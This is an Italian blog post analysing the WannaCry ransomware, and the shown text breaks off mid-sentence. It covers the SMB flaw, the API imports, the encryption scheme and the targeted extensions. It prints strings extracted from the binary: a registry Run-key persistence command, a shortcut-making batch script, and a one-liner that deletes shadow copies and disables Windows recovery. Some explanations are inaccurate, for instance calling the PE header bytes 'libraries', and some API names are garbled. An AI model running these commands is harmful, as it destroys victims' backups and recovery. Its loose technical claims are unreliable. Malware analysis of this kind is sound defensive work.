SerHack - Developer and Security

Developer - Security engineer

[email protected]

WANNACRY Reverse engineering

by SerHack


Ormai in rete, in tv e nel mondo intero, non si parla che di WannaCrypt: un ransomware, ovvero un malware in grado di criptare tutti i file sul proprio computer e chiedendo un riscatto per lo sblocco.

Esso ha infettato tra 500.000 e i 600.000 computer in più di mezzo mondo. Attaccati ospedali, aziende, insomma panico generale. Probabilmente la storia la saprete già, non si parla d’altro. Questo pero’ non è un post con sfumature giornalistiche, ma un post che racconta la verità su Wannacrypt e molti dei miei pensieri che emergono analizzandolo.

Il fatto più scoinvolgente è che per diffondersi, Wannacry ( o WannaCrypt) non ricorre alla tecnica del social engineering (ovvero il fatto di convincere utenti con un link o con un file infetto), ma sfrutta una delle (tante) vulnerabilità del sistema operativo Windows, sviluppato da Microsoft. Il problema (CVE-2017-0145)riguarda il Service Message Block (SMB), un protocollo usato per condividere file, stampanti e porte seriali.

Di solito, la maggior parte dei bug viene risolta in pochissimo tempo e finito il debugging del bug, Microsoft rilascia la patch. Ma questa volta non è così: nel gennaio del 2017 alcuni tecnici della NSA trovano il bug e lo sfruttano per creare un potente exploit. L’exploit doveva restare tra i computer dell’agenzia americana, ma per una serie di errori, il programma malevolo (e il relativo sorgente) diventano accessibili al pubblico. Microsoft aveva già realizzato a Marzo una patch che correggeva questo bug ma probabilmente molti utenti non hanno installato i soliti aggiornamenti di sicurezza.

La mia analisi

Come molti conoscenti mi hanno chiesto, ho provveduto ad analizzare il virus. Ecco come è andata: per prima cosa, ho “installato” il ransomware (facilissimo) su una macchina virtuale Windows XP.

Solita schermata: “I tuoi file sono stati criptati, per sbloccarli pagare il riscatto”. Ho preso l’exe e l’ho disassemblato su linux (altrimenti su Windows mi partiva in automatico, meglio non rischiare). Aprendo il virus con un Hex decompiler, La prima cosa che noto è questo: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69

Queste tre righe, sono una delle componenti principali per creare un eseguibile su Windows: tradotto, sarebbero le varie librerie codificate che il sistema richiama. Wannacry usa librerie di Windows e non librerie sviluppate da hacker.

Questa scelta è furba: utilizzando le dll di Windows API, si ha più successo di criptare tutti i file senza errori. Andando avanti, si trova una cosa interessante: una serie di dati che molto probabilmente sono le funzioni utilizzate dal programma. Tra le più importanti ci sono:

  • GetWindowsDirectory: trova la directory in cui è installata Windows, utile al programma che ovviamente non cripterà mai la cartella in cui ci sono i file di sistema
  • GetLogicalDevices: trova tutti i dispositivi collegati al computer, utile per infettare eventuali chiavette e/o modem
  • GetSecurityInfo: trova le info di sicurezza, utile per capire se si sono installati o no eventuali aggiornamenti di sicurezza, molto probabilmente richiamerà altri exploit nel caso in cui non si fossero aggiornati i software.
  • SystemParametersInfo: raccoglie più informazioni possibile sul sistema operativo
  • CryptGetRandom: crea la chiave privata per criptare i file (questa utilizza anche la funzione rand che genera un stringa molto complessa casuale)
  • CryptExportKey: esporta la chiave molto probabilmente in un file
  • Fopen, fread, fwrite, fclose : nell’ordine le funzioni aprono, leggono, scrivono e chiudono la connessione con il file, in poche parole: wannacry apre ogni file e sovrascrive ogni dato con una stringa criptata
  • DeleteFile: elimina i file che vuole utilizzando i permessi dell’utente, se l’utente è admin, molto probabilmente cancellerà eventuali software di ostacolamento come firewall, antivirus ecc..
  • TerminateProcess: termina alcuni processi (ad esempio antivirus che non hanno rilevato il file come ransomware)
  • CreateThread: sostanzialmente crea “thread” separati, Wannacry usa questa funzione per diffondersi più velocemente, auto-installandosi nel computer della vittima

Come funziona la criptazione dei file

Il ransomware tenta innanzitutto di caricare una chiave pubblica installata al momento dell’infezione. Se il caricamento fallisce viene generata una coppia di chiavi RSA a 2048 bit tramite la funzione CryptGenKey. La chiave privata viene cifrata ulteriormente con la chiave pubblica del ransomware.

A questo punto viene generata una chiave AES casuale a 128 bit in modalità CBC – tramite la funzione CryptoGenRandom – per ogni file e ciascuno di questi viene cifrato. La chiave AES viene a sua volta crittografata con la chiave pubblica precedentemente generata e inclusa nel file stesso. Per decriptare i file serve quindi la chiave privata originale dello sviluppatore del malware.

    Microsoft Enhanced RSA and AES Cryptographic Provider 
TESTDATA CryptGenKey CryptDecrypt CryptEncrypt CryptDestroyKey 
CryptImportKey CryptAcquireContextA

Strange facts

Ho una certa conferma che wannacry non cripta tutti i file ma solo alcuni.

.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, 
.rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm,
 .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx,
 .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx,
 .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso,
 .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u,
 .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla,
 .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip,
 .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf,
 .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3,
 .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk,
 .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, 
.p12, .csr, .crt, .key, .pfx, .der

Il programma quindi va in cerca di file che hanno questa estensione e li cripta, ignorando alcune cartelle che non deve criptare altrimenti il sistema diventerebbe instabile, come ad esempio “\AppData\Local\Temp”, “\Program Files (x86)”, “\Program Files”, “\WINDOWS”, “\ProgramData”.

cmd.exe /c reg add %s /v "%s" /t 
REG_SZ /d "\"%s\"" /f HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\%s 
%s\taskse.exe\@[email protected]\tasksche.exe%s%s*.*@[email protected]

Anche se probabilmente, questi script non sono completi, noto che Wannacry usa il Command Prompt per andare a modificare chiavi di registro. In particolare le chiavi presenti in HKCU\SOFTWARE\Windows\CurrentVersion\Run\ nel quale ci sono chiavi di registro che includono i software che Windows esegue in automatico ad ogni avvio. Quindi il ransomware si aggiunge in automatico alla lista dei software che Windows deve eseguire e aggiunge anche un collegamento sul desktop della vittima. Possiamo leggere molto chiaramente anche uno script batch:

@echo off

echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs

echo SET om = ow.CreateShortcut("%s%s")>> m.vbs

echo om.TargetPath = "%s%s">> m.vbs

echo om.Save>> m.vbs

cscript.exe //nologo m.vbs

del m.vbs

e in una delle ultime righe ci sono una serie di taskkill che simultaneamente chiudono la maggior parte dei processi attivi.

Un’altra stringa che si può trovare e che esegue nel command prompt è questa qua sotto che cancella tutte le copie shadows: copie che consentono di recuperare i file nello stato originale;

/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit
 /set {default} bootstatuspolicy ignoreallfailures & bcdedit 
/set {default} recoveryenabled no & wbadmin delete catalog -quiet

Finita l’analisi, mi sono reso conto che questo software è molto complesso e sicuramente non è stato sviluppato da gente incompetente. Il malware ha molte tecniche di offuscamento, sia per quanto riguarda il codice, sia per quanto riguarda il comportamento: ci sono alcune caratteristiche di questo software che sono ancora sconosciute a me. In via generale WannaCry funziona così: